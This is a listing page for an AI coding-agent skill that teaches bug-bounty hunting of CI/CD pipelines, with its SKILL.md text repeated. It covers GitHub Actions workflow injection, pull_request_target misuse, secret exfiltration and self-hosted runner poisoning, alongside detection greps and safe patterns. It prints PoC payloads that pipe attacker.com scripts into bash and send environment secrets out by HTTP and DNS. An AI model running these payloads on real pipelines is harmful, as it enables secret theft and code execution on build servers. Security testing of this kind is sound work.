/cicd-security
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical
$ npx -y skills add shuvonsec/claude-bug-bounty --skill cicd-security --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/cicd-security
Context preview
The summary Claude sees to decide when to auto-load this skill.
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical
SKILL.md
cicd-security.SKILL.mdname: cicd-security
description: CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
CI/CD SECURITY — Pipeline Attack Surface
> CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
---
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely---
1. TOOL — cicd_scanner.sh
# Single repo
bash tools/cicd_scanner.sh owner/repo
# Org-wide (up to 30 repos)
bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5
# Scan with recursive reusable workflow analysis
bash tools/cicd_scanner.sh owner/repo --recursive --depth 5
# Custom output
bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd
**Output:** `findings/<target>/cicd/scan_results.txt` + `summary.txt`
**What sisakulint finds:**
- Script injection via untrusted context
- Unpinned actions (tag instead of SHA)
- `pull_request_target` misuse
- Dangerous patterns (`eval`, `curl | bash`, etc.)
- Exposed secret names in `run:` blocks
---
2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)
What It Is
GitHub Actions exposes PR/issue data as context variables. If injected into a `run:` block without sanitization, an attacker controls shell code.
Vulnerable Pattern
# VULNERABLE — attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"Safe Pattern
# SAFE — pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"Injectable Contexts (always check these)
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref ← alias for branch name
github.event.inputs.* ← workflow_dispatch inputs
PoC Payload
# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #
Detection Grep
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/---
3. pull_request_target MISUSE (Critical)
What It Is
`pull_request_target` runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
Vulnerable Pattern
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker code!
- run: npm test # runs attacker's package.json scriptsWhy It's Critical
- `pull_request_target` has access to secrets
- Checkout uses the PR's code
- Any `run:` step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
---
4. SECRET EXFILTRATION
Secrets That Appear in Logs
# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'
GITHUB_TOKEN Abuse
The auto-generated `GITHUB_TOKEN` can be used to:
- Push code to branches
- Create releases
- Read all private repo content
- Approve PRs (if permissions allow)
# Check for overly broad permissions
permissions:
contents: write # ← Can push/delete code
packages: write # ← Can push malicious packages
pull-requests: write
PoC — Exfil via DNS
# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"
# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"
---
5. SELF-HOSTED RUNNER POISONING
Why It Matters
Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.
Detection
# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?
# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'
Exploit Path
1. Fork public repo that uses self-hosted runners 2. Open PR with malicious workflow step 3. Job runs on internal self-hosted runner 4. Access internal network, read instance metadata, exfil secrets
PoC Workflow A
Read more
name: cicd-security description: CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
CI/CD SECURITY — Pipeline Attack Surface
> CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
---
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely---
1. TOOL — cicd_scanner.sh
# Single repo bash tools/cicd_scanner.sh owner/repo # Org-wide (up to 30 repos) bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5 # Scan with recursive reusable workflow analysis bash tools/cicd_scanner.sh owner/repo --recursive --depth 5 # Custom output bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd
**Output:** `findings/<target>/cicd/scan_results.txt` + `summary.txt`
**What sisakulint finds:**
- Script injection via untrusted context
- Unpinned actions (tag instead of SHA)
- `pull_request_target` misuse
- Dangerous patterns (`eval`, `curl | bash`, etc.)
- Exposed secret names in `run:` blocks
---
2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)
What It Is
GitHub Actions exposes PR/issue data as context variables. If injected into a `run:` block without sanitization, an attacker controls shell code.
Vulnerable Pattern
# VULNERABLE — attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"Safe Pattern
# SAFE — pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"Injectable Contexts (always check these)
github.event.pull_request.title github.event.pull_request.body github.event.pull_request.head.ref ← branch names github.event.issue.title github.event.issue.body github.event.comment.body github.event.review.body github.event.review_comment.body github.event.discussion.title github.event.discussion.body github.head_ref ← alias for branch name github.event.inputs.* ← workflow_dispatch inputs
PoC Payload
# PR title / issue title payload: "; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #
Detection Grep
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/---
3. pull_request_target MISUSE (Critical)
What It Is
`pull_request_target` runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
Vulnerable Pattern
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker code!
- run: npm test # runs attacker's package.json scriptsWhy It's Critical
- `pull_request_target` has access to secrets
- Checkout uses the PR's code
- Any `run:` step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/ # Then check if the same job does a checkout of the PR head grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
---
4. SECRET EXFILTRATION
Secrets That Appear in Logs
# Search for secrets echoed in run: blocks grep -rn 'echo.*secrets\.' .github/workflows/ grep -rn 'cat.*secrets\.' .github/workflows/ grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'
GITHUB_TOKEN Abuse
The auto-generated `GITHUB_TOKEN` can be used to:
- Push code to branches
- Create releases
- Read all private repo content
- Approve PRs (if permissions allow)
# Check for overly broad permissions permissions: contents: write # ← Can push/delete code packages: write # ← Can push malicious packages pull-requests: write
PoC — Exfil via DNS
# In an injected run: block curl "https://attacker.com/?d=$(printenv | base64 -w0)" # Or via DNS (more stealthy) nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"
---
5. SELF-HOSTED RUNNER POISONING
Why It Matters
Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.
Detection
# In workflow files grep -rn 'self-hosted' .github/workflows/ # Combined with — does the repo accept PRs from forks? # Pull triggers that run on self-hosted grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'
Exploit Path
1. Fork public repo that uses self-hosted runners 2. Open PR with malicious workflow step 3. Job runs on internal self-hosted runner 4. Access internal network, read instance metadata, exfil secrets
PoC Workflow A
AI-powered bug bounty hunting from your terminal - recon, 20 vuln classes, autonomous hunting, and report generation. All inside Claude Code.
Repo: shuvonsec/claude-bug-bounty
Other skills on claude-bug-bounty.
- /argus
Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none /
Open skill - /bb-methodology
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection,
Open skill - /bug-bounty
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF,
Open skill - /client-reverse
Client-side request-signing and anti-bot token reversal for bug bounty — when a request carries a sign/sig/hmac/token/nonce/timestamp/X-Sensor header that Burp Repeater cannot replay, recover the signer just enough to reproduce the request outside the client. Packet-first
Open skill - /credential-attack
Password spray methodology for bug bounty — when to do it vs web-vuln hunting, the wordlist-gen + breach-check + osint-employees + spray pipeline, mode selection (http-form / oauth / o365 / okta), rate-limit + lockout tactics, BBP legal guardrails, success detection, and the
Open skill - /graphql-audit
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop,
Open skill

